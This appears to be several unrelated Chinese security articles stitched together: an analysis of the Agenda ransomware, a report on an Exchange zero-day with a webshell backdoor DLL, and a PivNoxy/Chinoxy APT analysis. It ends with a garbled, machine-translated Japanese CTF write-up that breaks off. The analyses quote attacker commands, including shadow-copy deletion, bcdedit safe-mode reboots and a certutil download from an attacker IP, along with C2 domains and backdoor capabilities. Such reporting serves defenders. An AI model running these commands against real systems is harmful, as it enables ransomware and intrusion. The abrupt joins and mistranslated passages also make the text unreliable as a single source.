雖然HVCI 提供了最強大的解決方案,但我們共享了一種額外的方法來檢測和防止DSE 在運行時篡改。在內核模式下執行代碼對攻擊者仍然具有吸引力,因為它通常是破壞計算機上更高特權元素(例如管理程序、UEFI 和SMM)或擊敗終端安全產品的必備手段。我們可能會看到TTP 的轉變,由於驅動程序阻止列表,攻擊者會轉向使用更多的內核1日漏洞來利用未修補的漏洞。

隨著硬件輔助的安全功能變得越來越普遍,以及微軟致力於利用它們的努力,攻擊者利用DSE 篡改可能會在可預見的未來逐漸消失。儘管如此,配置錯誤和老舊系統仍將存在這種攻擊。

最近出現了一種用Go 語言編寫的新型勒索軟件,主要亞洲和非洲的醫療保健和教育企業。該勒索軟件稱為Agenda,對每個受害者進行自定義攻擊。當前用Go 語言(又名Golang)編寫的惡意軟件變得越來越普遍,這主要是因為Go 靜態編譯必要的庫,使安全分析變得更加困難。

根據名為“Qilin”的用戶(似乎與勒索軟件分銷商有關聯)的暗網帖子和勒索記錄,勒索軟件被稱為“Agenda”。

Agenda 可以在安全模式下重新啟動系統,並嘗試阻止許多特定於服務器的進程和服務,並且可以運行多種模式。我們收集的勒索軟件示例是為每個受害者定制的,它們包括唯一的公司ID 和洩露的帳戶詳細信息。

受害對象分析所有收集的示例都是用Go 編寫的64 位Windows PE(便攜式可執行文件)文件,它們針對的是基於Windows 的系統。傳播惡意軟件的組織針對的是印度尼西亞、沙特阿拉伯、南非和泰國的醫療保健和教育機構。每個勒索軟件示例都是為目標受害者定制的。我們的調查表明,示例洩露了帳戶、客戶密碼和用作加密文件擴展名的唯一公司ID。

我們認為,Qilin(或Agenda 勒索軟件組織)的附屬機構可以為每個受害者定制可配置的二進制有效載荷,包括公司ID、RSA密鑰等細節,以及數據加密前要阻止的進程和服務。另外,每家公司要求的贖金金額從5萬美元到80萬美元不等。

Agenda%201.jpg

Qilin勒索贖金示例

Agenda%202.jpg

Qilin勒索通知示例

與其他勒索軟件的相似之處我們注意到Agenda 與Black Basta、Black Matter 和REvil(又名Sodinokibi)勒索軟件之間存在一些相似之處。

在付費網站和Tor網站上用戶驗證的實施方面,Agenda與Black Basta和Black Matter非常相似。與此同時,Agenda與Black Basta和REvil共享了相同的函數,可以使用此命令更改Windows密碼並在安全模式下重啟:

C:\windows\system32\bcdedit.exe/setsafeboot{current}network

攻擊鏈在調查一起涉及該勒索軟件的示例時,我們發現其背後的攻擊者使用面向公眾的Citrix服務器作為入口點。我們認為攻擊者使用有效帳戶訪問此服務器,然後進入受害者的網絡。這是意料之中的,因為攻擊者使用有效和特權帳戶配置了勒索軟件。

攻擊者使用洩露的帳戶在Active Directory 上使用RDP,然後釋放用於掃描網絡的掃描工具Nmap.exe 和Nping.exe。接下來,計劃任務被組策略域設備推送。

Agenda%203.jpg

組策略推送的定時任務

微信截图_20220826123421.png

在計算機上創建的計劃任務

我們觀察到訪問Citrix 服務器和勒索軟件感染之間只有很短的時間:不到兩天。攻擊者似乎在第一天就掃描了網絡,然後創建了一個組策略對象(GPO),並將勒索軟件部署在受害者的設備上。

Agenda%20Ransomware%205.png

Agenda 勒索軟件的攻擊鏈

Agenda 勒索軟件是一個用Go 編寫的64 位Windows PE 文件。 Go 程序是跨平台且完全獨立的,這意味著即使系統上沒有安裝Go 解釋器,它們也能正常執行。這是可能的,因為Go 靜態編譯必要的庫(包)。

在執行時,該勒索軟件接受定義惡意軟件流程和功能的各種命令行參數,如下表所示。

-alter {int}:定義此子進程的端口號;

-encryption {value}:允許將嵌入加密器配置重新定義為自定義選項;

-ips {IP Address} :允許提供IP 地址;

-min-size {value}:定義要加密的最小文件大小(例如,1 KB、1 MB、1 GB、666 KB);

-no-proc:定義不會被阻止的進程;

-no-services:定義不會被阻止的服務;

-password {string}:定義登錄密碼;

-path {directory}:定義解析目錄的路徑,如果使用此標誌並將其置空,則將掃描所有目錄;

-safe:在安全模式下啟動;

-stat:使惡意軟件打印其配置(要阻止的進程和服務、加密等);

Agenda構建一個運行時配置來定義它的行為,包括它的公共RSA密鑰、加密條件、要終止的進程和服務列表、加密擴展、登錄憑證和贖金通知。 Agenda 的運行時配置組件表如下:

public_rsa_pem RSA:公鑰;

directory_black_list:不允許加密的目錄;

file_black_list:不允許加密的文件名;

file_pattern_black_list:不允許加密的文件擴展名;

process_black_list:要終止的進程;

win_services_black_list:終止服務;

company_id:加密擴展;

accounts:登錄憑據;

note:贖金通知。

作為其初始例程的一部分,Agenda 通過檢查此註冊表值數據中的字符串safeboot 來確定被攻擊的設備是否在安全模式下運行:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control SystemStartOptions

如果它檢測到設備正在安全模式下運行,則終止執行。

然後,勒索軟件通過執行vssadmin.exe delete shadows /all /quiet 刪除卷影副本,並終止運行時配置中指出的特定進程和服務,其中一些是與防病毒相關的進程和服務。

8.1.png

Agenda 終止的一些與防病毒相關的進程和服務

在其初始例程之後,Agenda 繼續創建runonce 自動啟動條目*aster 指向enc.exe,它是Public 文件夾下自身的一個已刪除副本:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce*aster=%Public%\enc.exe

更改用戶密碼並以安全模式重新啟動Agenda 還在加密過程中部署了一種檢測規避技術:它會更改默認用戶的密碼並使用新的登錄憑據啟用自動登錄。可以使用-safe 命令行參數啟用此功能。與REvil 類似,Agenda 以安全模式重新啟動受害者的設備,然後在重新啟動時繼續執行加密程序。

首先,Agenda 會列出在設備上找到的所有本地用戶,然後檢查哪一個被設置為默認用戶。

Agenda%20blog%206%20v1.jpg

Agenda 用於從本地用戶中確定默認用戶的函數

找到默認用戶後,Agenda 將用戶的密碼更改為Y25VsIgRDr。

Agenda%20blog%207%20v2.jpg

Agenda 用於更改默認用戶密碼的函數

然後它繼續配置Winlogon 註冊表項,將數據設置為以下每個值:

8.png

Agenda 配置的Winlogon 註冊表項

更改默認用戶密碼並啟用自動登錄後,Agenda 通過以下命令以安全模式重新啟動受害者的設備:

C:\windows\system32\bcdedit.exe/setsafeboot{current}network

加密後,勒索軟件還會使用以下命令以正常模式重啟計算機:

C:\Windows\System32\bcdedit.exe/setsafebootnetworkbcdedit/deletevalue{default}safeboot

冒充合法賬戶Agenda 的另一個函數是它能夠濫用本地帳戶憑據來執行勒索軟件二進製文件,在其運行時配置中使用嵌入式登錄憑據。

9.png

Agenda的嵌入式本地帳戶憑據

Agenda通過在運行時配置中解析帳戶開始用戶模擬,然後將它們劃分為用戶名、域和密碼。它將使用這些數據嘗試通過API LogonUserW將用戶登錄到本地計算機上。

Agenda%20blog%2010.jpg

Agenda 用於解析運行時配置中的accounts 字段的函數

Agenda%2011.jpg

使用已解析帳戶執行登錄的Agenda

然後,Agenda 繼續生成一個隨機端口號,它將通過API CreateProcessAsUserW 與命令行參數-alter 一起用於執行勒索軟件二進製文件。

12.png

使用-alter 參數創建新進程的Agenda

允許網絡共享Agenda還與整個網絡及其共享驅動程序的攻擊有關。它不僅僅是關於在一個工作站上加密數據。

勒索軟件會添加一個註冊表,然後重新啟動LanmanWorkstation 服務。添加新註冊表後,它使用啟用映射驅動器驅動程序中的鍵[EnableLinkedConnections=1],然後重新啟動LanmanWorkstation 服務。這將允許Agenda 在cmd 等提升程序中列出網絡驅動器。

Agenda%20blog%2013.jpg

Agenda將EnableLinkedConnection的註冊表值更改為1

Agenda%20blog%2014.jpg

Agenda重啟LanmanWorkstation 服務

加密算法

Agenda使用AES-256加密文件,使用RSA-2048加密生成的密鑰。為此,它首先使用函數generateKye生成用於加密的密鑰和初始化向量(IV),然後使用API rand_read()。

15.png

Agenda用於生成隨機密鑰的函數

使用這個隨機生成的密鑰,Agenda 繼續使用AES-256 來加密目標文件。最後,它通過運行時配置中的嵌入式公鑰使用RSA-2048 對密鑰進行加密。

成功加密後,Agenda通過附加運行時配置中指定的公司ID來重命名加密的文件。然後它會在每個加密的目錄中釋放贖金通知{company_id}-RECOVER-README.txt。

Agenda%2016.jpg

Agenda 的贖金通知

進程注入Agenda 將pwndll.dll(檢測為Trojan.Win64.AGENDA.SVT)釋放在Public 文件夾中。文件pwndll.dll 是用C 語言而不是Go編寫的合法DLL WICloader.dll 的打了補丁DLL。 Agenda 將此DLL 注入svchost.exe 中,以允許連續執行勒索軟件二進製文件。

Agenda%20blog%2017.jpg

將pwndll.dll 注入svchost.exe 的Agenda

Agenda%20blog%2018.jpg

使用pwndll.dll 執行勒索軟件示例的Agenda

總結勒索軟件不斷發展,開發出更複雜的方法和技術來發起攻擊。如上所述,新的有針對性的勒索軟件Agenda是如何用Go 語言編寫的,這使得檢測和分析變得更加困難。

這種勒索軟件通過利用設備的“安全模式”功能來進行加密程序而不被發現。勒索軟件還利用本地帳戶作為被欺騙的用戶登錄,並執行勒索軟件二進製文件,如果登錄嘗試成功,則進一步加密其他設備。它還終止大量進程和服務,並通過將DLL 注入svchost.exe 來確保持久性。

用戶和組織都可以通過遵循以下安全最佳實踐來降低被Agenda 等勒索軟件感染的風險:

1.啟用多因素身份驗證(MFA) ,以防止攻擊者在網絡內執行橫向移動。

2.備份重要文件時,請遵守3-2-1 規則。以兩種不同的文件格式創建三個備份副本,其中一個副本存儲在單獨的位置。

3.定期修補和更新系統。讓操作系統和應用程序保持最新非常重要,以防止惡意行為者利用任何軟件漏洞。

4.使用專業安全解決方案,它具有多層保護和行為檢測功能,有助於在勒索軟件造成任何攻擊之前阻止可疑行為和工具。

8月初,在執行安全監控和事件響應服務時,GTSC SOC團隊發現一個關鍵基礎架構受到攻擊,經過分析這是專門針對Microsoft Exchange應用程序的。在調查期間,GTSC Blue Team專家確定,攻擊者利用了一個未公開的Exchange安全0 day 漏洞,因此立即制定了臨時緩解計劃。與此同時,安全專家開始研究和調試Exchange反編譯代碼,以查找漏洞並利用代碼。經分析,該漏洞非常嚴重,使得攻擊者能夠在受攻擊的系統上執行RCE。 GTSC立即將該漏洞提交給Zero Day Initiative (ZDI),以便與微軟合作,盡快準備修補程序。 ZDI驗證並確認了2個漏洞,CVSS評分分別為8.8和6.3。

1.png

不過截至目前,修復程序還未發布,GTSC已經發現其他客戶也遇到了類似攻擊。經過仔細測試,研究人員確認這些系統正受到此0 day零日漏洞的攻擊。

漏洞信息在為客戶提供SOC服務時,GTSC Blueteam在IIS日誌中檢測到與ProxyShell漏洞格式相同的攻擊請求,如下所示:

加图1.png

研究人員還檢查了其他日誌,發現攻擊者可以在受攻擊的系統上執行命令。這些Exchange服務器的版本號表明已安裝最新更新,因此使用Proxyshell漏洞進行攻擊的行為讓研究人員可以確認這是一個新的0 dayRCE漏洞。這些信息被發送給了安全分析師後,他們對為什麼漏洞利用請求與ProxyShell bug類似? RCE是如何實施的?等問題進行了研究。

經過分析,研究人員成功地找到瞭如何使用上述路徑訪問Exchange後端中的組件並執行RCE。然而,處於安全考慮,目前我們還不想發布該漏洞的技術細節。

利用後(Post-exploit)活動在追踪到有關攻擊示例後,研究人員開始收集信息並在受害者的系統中建立一個立足點。另外,攻擊者還使用各種技術在受影響的系統上創建後門,並對系統中的其他服務器執行橫向移動。

Webshell我們檢測到Webshell被丟棄到Exchange服務器,其中大部分是模糊的。通過用戶代理,我們檢測到攻擊者使用了Antsword,這是一個基於中文的開源跨平台網站管理工具,支持webshell管理。

加图2.png

另一個值得注意的特點是,攻擊者還將文件RedirSuiteServiceProxy.aspx的內容更改為webshell內容。 RedirSuiteServiceProxy.aspx是Exchange服務器中可用的合法文件名。

在另一個客戶的事件響應過程中,GTSC注意到攻擊組織使用了另一個webshell模板。

Filename:errorEE.aspx

SHA256:be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Ref:https://github.com/antonioCoco/SharPyShell命令執行除了收集系統信息外,攻擊者還通過certutil下載文件並檢查連接,certutil是Windows環境中可用的合法工具。

“cmd”/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttp://206.188.196.77:8080/themes.aspxc:\perflogs\techo[S]cdecho[E]

'cmd'/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttps://httpbin.org/getc:\testecho[S]cdecho[E]需要注意的是,每個命令都以字符串echo[S]cdecho[E]結尾。

此外,攻擊者還將惡意DLL注入內存,在受攻擊的服務器上釋放可疑文件,並通過WMIC執行這些文件。

可疑文件在服務器上,研究人員檢測到exe和dll格式的可疑文件:

3.png

在可疑文件中,根據服務器上執行的命令,研究人員確定all.exe和dump.dll負責在服務器系統上轉儲憑證。之後,攻擊者使用rar.exe壓縮轉儲文件並複製到Exchange服務器的webroot中。不幸的是,在響應過程中,上述文件在受攻擊的系統中不再存在,可能是由於攻擊者刪除了證據。

被釋放到C:\PerfLogs\文件夾中的cmd.exe文件是標準的Windows命令行工具cmd.exe。

惡意軟件分析DLL信息

文件名:Dll.Dll

Sha256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2DLL分析GTSC分析一個特定的樣本(074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82)來描述惡意代碼的行為,其他DLL樣本有類似的任務和行為,只是偵聽器配置不同。

DLL由兩個類組成:Run和m,每個類都調用執行不同任務的方法。具體地說:

Run類創建一個偵聽器,偵聽路徑為https://*:443/ews/web/webconfig/的端口443的連接。

5.png

偵聽後,惡意軟件創建一個調用r的新線程。方法r執行以下操作:

1.檢查接收到的請求正文中是否有數據,如果沒有,則返回結果404。

2.相反,如果請求包含數據,DLL將繼續處理if分支內的流:

檢查收到的請求是否包含“RPDbgEsJF9o8S=”。如果是,調用類m中的方法i來處理收到的請求。從Run.m.i返回的結果將轉換為一個base64字符串。以以下格式返回給客戶端的結果:

6.png

m類方法i可以:

1.使用AES算法對收到的請求進行解密,其中請求的前16個字節是IV值,後16個字節為key值,其餘為數據。

2.解碼後,獲取數組中的第一個元素作為標誌,以處理定義的情況,處理定義的情況如下:

7.png

示例1:調用方法info。該方法主要負責收集系統信息,比如操作系統架構、框架版本、操作系統版本等信息。 GTSC用下圖模擬本示例。請求以以下格式發送:前16字節是IV值,後16字節是key值,後面是一個指定選項的標誌,其餘是數據。

base64 (IV | key | aes(flag|data))

8.png

示例2:調用方法sc,調用sc方法,該方法負責分配內存來實現shellcode。

9.png

示例3:調用兩個方法p和r。方法p處理由“|”字符分隔的數據,保存到數組array3。數組array 3將前兩個元素作為方法r的參數,該方法負責執行命令。

10.png

示例4:調用方法ld,該方法負責以以下這種格式列出目錄和文件信息:

加图3.png

11.png

示例5:調用方法wf,該方法負責寫入文件:

12.png

示例6:調用方法rf,該方法負責讀取文件:

13.png

示例7:創建文件夾;

示例8:刪除文件或文件夾;

示例9:移動文件;

示例10:設置文件時間;

14.png

示例11:加載並執行從請求接收的C#字節碼。

15.png

其他DLL示例具有類似的任務,只是偵聽器配置不同,如下所示:

Victim 1:

https://*:443/ews/web/webconfig/

https://*:443/owa/auth/webcccsd/

https://*:444/ews/auto/

https://*:444/ews/web/api/

Victim 2:

http://*:80/owa/auth/Current/script/

https://*:443/owa/auth/Current/script/

GTSC還檢測到DLL被注入到svchost.exe進程的內存中。 DLL將數據發送和接收連接到二進製文件中固定的地址137[.]184[.]67[.]33中。使用RC4加密算法使用C2發送和接收數據,其中密鑰將在運行時生成。

16.png

臨時緩解措施GTSC的直接事件響應程序已經發現了有1個組織成為利用這一0 day漏洞的攻擊活動的受害者。此外,可能還有許多其他組織被利用,但尚未被發現。在等待正式補丁的同時,GTSC提供了一個臨時緩解措施,通過在IIS服務器上的URL Rewrite rule模塊添加一條規則來阻止帶有攻擊指示器的請求,從而緩解攻擊。

在前端自動發現中,選擇選項卡“URL重寫”,選擇“請求阻止”

17.png

將字符串“.*autodiscover\.json.*\@.*Powershell.*”添加到URL路徑:

18.png

條件輸入:選擇{REQUEST_URI}:

19.png

我們建議全世界正在使用Microsoft Exchange Server的所有組織或企業盡快檢查、審查並應用上述臨時補救措施,以避免潛在的攻擊。

檢測方法為了幫助組織檢查他們的Exchange服務器是否已被此漏洞利用,GTSC發布了掃描IIS日誌文件的指南和工具(默認存儲在%SystemDrive%\inetpub\logs\LogFiles文件夾中):

方法1:使用powershell命令:

加图4.png

方法2:使用GTSC開發的工具:基於漏洞簽名,我們構建了一個比使用powershell更短的搜索時間的工具。下載鏈接:https://github.com/ncsgroupvn/NCSE0Scanner。

最近,南亞的一家電信機構收到一封帶有可疑RTF 附件的簡短電子郵件,這引起了FortiGuard Labs 的注意。這封電子郵件偽裝成來自巴基斯坦政府部門的信息,目的是傳播PivNoxy 惡意軟件。

马云惹不起马云 受影響的平台:Windows

马云惹不起马云受影響方:Windows 用戶

马云惹不起马云影響:控制受害者的設備並收集敏感信息

马云惹不起马云嚴重性級別:中等

攻擊概述攻擊始於一封簡單的電子郵件,其中只附上了一份文件作為附件:

fig1.webp.jpg

攻擊中使用的魚叉式釣魚電子郵件

附件文件為RTF格式。它是使用一種名為Royal Road 的工俱生成的,這是一種網絡釣魚“武器”,被多個亞洲APT 攻擊組織使用。 Royal Road 也稱為8.t RTF 漏洞利用構建器,允許APT 組織創建帶有嵌入式對象的RTF 文件,這些對象可以利用Microsoft Word 中的漏洞來感染目標。 Royal Road 支持的一些已知漏洞包括:

马云惹不起马云CVE-2017-11882(Microsoft Office 內存損壞漏洞);

马云惹不起马云CVE-2018-0802(Microsoft Office 內存損壞漏洞);

马云惹不起马云CVE-2018-0798(Microsoft Office 內存損壞漏洞);

打開電子郵件附件“Please help to CHECK.doc”,會打開一個誘餌Word 文件。同時,它在後台利用CVE-2018-0798。 CVE-2018-0798 是Microsoft 公式編輯器(EQNEDT32) 中的一個遠程代碼執行(RCE) 漏洞。 Microsoft 於2018 年1 月9 日為其發布了修復程序。攻擊者仍在針對此漏洞的事實表明,並非所有組織都部署了關鍵補丁或升級到最新軟件。事實是,舊的漏洞仍然普遍且成功地被利用。

fig2.webp.jpg

攻擊中使用的誘餌Word 文件。請注意,文件中顯示的亂碼可能是我們的測試設備不支持該語言的結果

執行後,這個惡意文件會釋放三個文件:

C:\\ProgramData\Cannon\Cannondriver.exe;

C:\\ProgramData\Cannon\LBTServ.dll;

C:\\ProgramData\Cannon\Microsoft.BT;

儘管文件名是假的,但Cannondriver.exe是一個合法的羅技文件LBTWizGi.exe,全稱是“羅技藍牙嚮導主機進程”。 Cannondriver.exe 甚至由頒發給羅技的證書進行數字簽名的。

fig3.webp.jpg

Cannondriver.exe 的合法版本

另一方面,LBTServ.dll 文件沒有經過數字簽名。這就是有趣的地方。 “Cannondriver.exe”容易受到LBTServ.dll 所利用的DLL 搜索順序劫持攻擊。請注意,此攻擊中使用的“LBTServ.dll”樣本的編譯時間為Sun July 18 02:04:24 2021 GMT。這意味著這個小組在他們需要使用這個變體之前就創造了它。這表明,他們要么在近一年前就準備好攻擊目標,要么已經開始囤積惡意軟件,隨時準備發動攻擊。最近的Chinoxy 樣本一直沒有被發現,就是這個道理。

fig4.webp.jpg

Cannondriver.exe 中的DLL 搜索順序劫持

上圖是在Cannondriver.exe中找到的部分代碼。基本上,它調用名為LGBT_Launch的導出,該導出位於LBTServ.dll 中。

fig5.webp.jpg

LBTServ.dll 內部

在Cannondriver.exe 加載偽造的LBTServ.dll 並調用LGBT_Launch 函數後,惡意函數就加載了另一個被釋放的文件Microsoft.BT ,並繼續對其進行解密。攻擊鏈類似於Chinoxy 後門使用的攻擊鏈,後者也使用Cannondriver.exe 加載惡意LBTServ.dll 以傳遞其有效負載。

然而,目前發送給南亞電信機構的這種變體提供的最終有效負載與其之前的版本略有不同。它不是包含最終有效負載的LBTServ.dll,而是從單獨的文件加載shellcode 並將自身注入到svchost.exe 中。然後它聯繫instructor[.]giize[.]com,這是一個動態DNS,將連接重定向到攻擊者託管有效負載的IP。不幸的是,在調查時沒有遠程文件可用。幸運的是,nao_sec 的一條推文將PoisonIvy 惡意軟件識別為有效負載。

fig6.webp.jpg

nao_sec 於2022 年5 月12 日發布的推文

PoisonIvy 是一種遠程訪問木馬(RAT),早在十多年前就被發現。 RAT 也稱為Pivy,活躍在地下論壇中,允許攻擊者控制受感染的設備並通過其GUI 執行偵察活動。

FortiGuard Labs 之前發布了兩篇博客,詳細介紹了PoisonIvy 的工作原理:

Poison Ivy 新變種的深度分析;

新Poison Ivy/PlugX 變體的深度分析;

這些博客中介紹的PoisonIvy RAT 變體執行橫向移動。因此,PoisonIvy 的一次感染可能會導致信息從受影響組織中的各種設備中提取。

誰是幕後黑手眾所周知PoisonIvy 已被用於針對性攻擊,但要識別針對南亞電信組織的行動背後的攻擊者並非易事。這是由於報告的使用RAT 的攻擊組織的數量及其廣泛的可用性造成的。

我們對攻擊者的好奇導致了另一個lbtserver.dll (SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3),該文件於2022年1月從法國提交給VirusTotal。該文件被SHA2文件cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe釋放。

研究人員的分析表明,該文件的行為與發送給目標機構的電子郵件中的文件類似。它創建一個文件夾(c:\windows\tasks) ,並將配置和PE 文件放入其中。釋放的可執行文件unio.exe 與偽裝成Cannondriver.exe 的合法簽名Logitech 文件相同。 在我們正在調查的攻擊中,union .exe加載了另一個被釋放的文件lbtserver .dll。在本文所述的樣本中,LBTServ.dll 包含完整的後門有效負載,而不是加載一個shellcode來下載它。這個LBTServ.dll 文件還利用了DLL搜索順序劫持,有8 個虛假導出,還有一個名為LGBT_Launch 的惡意導出。這使研究人員相信,這兩種攻擊最有可能來自攻擊組織,但根據向VirusTotal提交文件的日期,這兩種攻擊可能發生在2022年1月。

更有趣的是,719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3的編譯時間是“2016-07-09 12:49:34 UTC”,而其滴管(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe)的編譯時間大約是29秒後,時間是2016-07-09 13:18:11 UTC。這些數據表明,該攻擊組織至少自2016年年中以來一直很活躍。

PivNoxy 和Chinoxy的漸變史現在,讓我們將看看這個攻擊組織使用的技術的漸變史。具體來說,我們將重點介紹他們使用的一個文件,即羅技藍牙嚮導主機進程。這個合法簽名的文件包含一個DLL 搜索順序劫持漏洞。 APT 組織通過創建自己的惡意“LBTServ.dll”文件來利用此漏洞,以便在執行真正的羅技進程時加載。隨著時間的推移,這個惡意DLL已經演變成使用不同的技術。攻擊鏈通常以包含附件的電子郵件開始。附件本身包含一個可執行文件,執行時會釋放惡意DLL、合法的羅技可執行文件以及惡意軟件使用的任何相關文件。

下面是攻擊組織使用上述技術來傳遞Chinoxy、PivNoxy 和最近的Chinoxy 變體的dropper 惡意軟件的時間線。

fig7.webp.jpg

基於文件編譯時間的dropper 惡意軟件示例

從時間軸上可以看到,在2021年第三季度,攻擊者將他們的武器庫從PivNoxy 切換到了Chinoxy 的新變體,該變體從文件中解密和加載shellcode ,並下載下一個有效負載。 Chinoxy到PivNoxy的轉換發生在2020年第二季度的某個時候。

FortiGuard Labs 發現,從2016 年年中到2018 年底,“lbtserver .dll”一直被稱為Chinoxy的變體。在這種情境中,惡意DLL 會加載一個名為“k1.ini”的外部配置文件。

fig8.webp.jpg

Chinoxy使用的配置文件

這個配置文件通常包含一個base64 字符串,它原來是Chinoxy 使用的C2 服務器。

9.png

從Chinoxy配置文件解碼的Base64值

“備註”字段包含攻擊的大致日期。根據其源數據,這個Chinoxy DLL 樣本(SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3) 編譯於格林威治標準時間2016 年7 月9 日星期六12:49:34。主要的dropper (SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe) 本身是在2016-07-09 13:18:11 GMT 編譯的。存活時間似乎只有幾天。 Chinoxy作為一個後門從被感染的電腦中收集數據。有趣的是,同一個C2 服務器已經使用了兩年多。分析表明,該服務器的絕大多數流量來自印度。

直到該組織決定返回前的2020 年底和2021 年初,情況一直相對平靜。該組織回歸後,首先開始瞄準東南亞的遊戲玩家。 NoxPlayer 是一個Android 模擬器,與許多程序一樣,它會聯繫服務器以檢查更新。然而,APT 組織並沒有通過電子郵件附件傳遞他們的惡意軟件,而是改變了攻擊策略,並以某種方式破壞了NoxPlayer 的更新鏈。向東南亞遊戲玩家發送了一個虛假的更新包。

與Chinoxy 示例類似,此PivNoxy 變體(SHA2:5c2a6b11d876c5bad520ff9e79be44dfbb05ee6a6ff300e8427deab35085bef6)使用一個偽造的更新包來解壓多個文件,包括濫用針對羅技的相同DLL 搜索順序劫持技術的文件。然而,在本示例中,“LBTServ.dll”被用來傳遞比之前的迭代更強大的惡意軟件,PivNoxy 通過惡意DLL 傳遞PoisonIvy RAT。雖然其他供應商報告受感染的計算機是來自東南亞的遊戲玩家,但研究人員的分析表明,更多受感染的遊戲玩家來自墨西哥。

此時,該攻擊組織再次決定隱身。一直到2022 年5 月,該組織偽裝成來自巴基斯坦政府部門,向南亞的一個電信組織的發送魚叉式網絡釣魚電子郵件。而這一次,它試圖傳播一個新的Chinoxy 惡意軟件變種。

上面提到的dropper 惡意軟件(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748bea5e03e76902e7fe) 已向goog1eupdate[.]com 發起了攻擊。根據FortiGuard過去六個月收集的追踪數據,近70%的攻擊來自墨西哥,近22%來自印度。 Chinoxy變體在2016年至2018年期間也使用了該域名。

研究人員還發現了三個類似的樣本連接到frontbeauty[.]dynamic-dns[.]net、beautygirl[.]dynamic-dns[.]net 和784kjsuj[.]dynamic-dns[.]net。在過去的六個月裡,對這三個域的所有訪問都來自印度。由於它們是動態DNS,因此並非所有連接都可以視為與攻擊組織有關。然而,2020 年11 月發布的Bitdefender 報告將域“goog1eupdate[.]com”描述為APT 組織的IOC 的一部分,該組織使用FunnyDream 後門作為其工具集的一部分,主要針對東南亞。訪問另一個C2 地址“mfaupdate[.]com”主要來自墨西哥和印度,而“ru[.]mst[.]dns-cloud[.]net”主要來自以色列和烏克蘭。根據安全研究員Sebastien Larinier 的說法,ru[.]mst[.]dns-cloud[.]net 被吉爾吉斯斯坦的攻擊組織使用。此外,NTT Security 發布的一篇研究報告介紹了另一台C2 服務器“eofficeupdating[.]com”,攻擊者將其用作Smanager 惡意軟件的C2 服務器,該惡意軟件用於主要攻擊越南。

總結針對南亞一家電信機構的攻擊始於一封簡單的電子郵件,該電子郵件最初似乎是標準的惡意垃圾郵件。但是,附加的Word 文件是含有Royal Road 惡意負載,可對公式編輯器漏洞(CVE-2018-0798) 利用。雖然在調查時沒有有效負載,但OSINT 研究向了FortiGuard Labs 之前強調的Poison Ivy RAT。

根據我們的分析,亞洲組織以及可能在墨西哥的一些組織是攻擊組織的目標,我們認為該攻擊組織也參與了2021 年的NightScout 行動。這個使用Chinoxy和PivNoxy的組織至少從2016年年中開始活躍。

1。データセキュリティ問題解決競争

1。 DS_0602

在这里插入图片描述

解決策の解決策は、暗号化されたファイルで元のデータを取得し、復号化し、6行目と2番目の列にデータを送信し、添付ファイルをダウンロードして、2つのファイルがあることを確認します。ここでは、「.enc」で終わるファイルの種類を簡単に理解する必要があります。在这里插入图片描述

簡単に言えば、「.enc」で終わるファイルは、通常、暗号化されたファイルです。具体的には、ファイル拡張子".enc"は特定のファイルタイプではなく、ファイルコンテンツが暗号化されていることを示す一般識別子を表します。質問が私たちを要求することは明らかです。次に、ここで右クリックしてメソッドを開き、「メモ帳」を選択して分析を開きます。それを得る;在这里插入图片描述

簡単な分析の後、それが「base64暗号化」であることは明らかであるため、ここにデコードを可能にする質問があります。そのため、オンラインの「base64」デコードを見つける必要があります。繰り返しになりますが、なぜそれがここで「base64エンコード」であることを確認できるのですか?ベース機能。エンコード長:3バイナリデータ(24ビット)ごとに、4つのASCII文字(文字あたり6ビット)にエンコードされます。エンコードされた長さは通常、元のデータの長さの1.33倍、つまり元のデータ長の4/3です。文字セット:Base64エンコーディング次の64文字で構成される文字セット:大文字:A-Z小文字:A-Z番号:0-9 2つのシンボル: +および /いくつかの実装では、 - +は - 、/_と交換することができます(通常はURL-Safe base64エンコードに使用されます)。入力データのバイト数が3の倍数ではない場合、エンコードされた結果は=4の長さを記号にして記号で満たされます。1つの等記号は3つ以上の1で割ったものを示します。オンラインbase64デコード、get;在这里插入图片描述

タイトルに記載されている「6行目と2番目の列データ」は、ここで6行のデコードを直接コピーできます。在这里插入图片描述

この時点で;フラグ{767378199223105126}

2、333.file

在这里插入图片描述

添付ファイルをダウンロードして問題を解決し、「.wav」で終了するオーディオを取得するために減圧します。 「Deepsound」、「Silenteye」、および「Audacity」に投げ込まれます。それは実りがありません。この時点では、「010」を使用して開き、分析して、「フラグ」や「zip」キーワードなどの重要な情報があるかどうかを確認する必要があります。また、「kali」に投げ込み、「binwalk」を使用して分析して、分離できるファイルがあるかどうかを確認することもできます。 「Deepsound」は無益です。在这里插入图片描述

「Silenteye」には効果がありません。在这里插入图片描述

「Audacity」には結果がありません。在这里插入图片描述

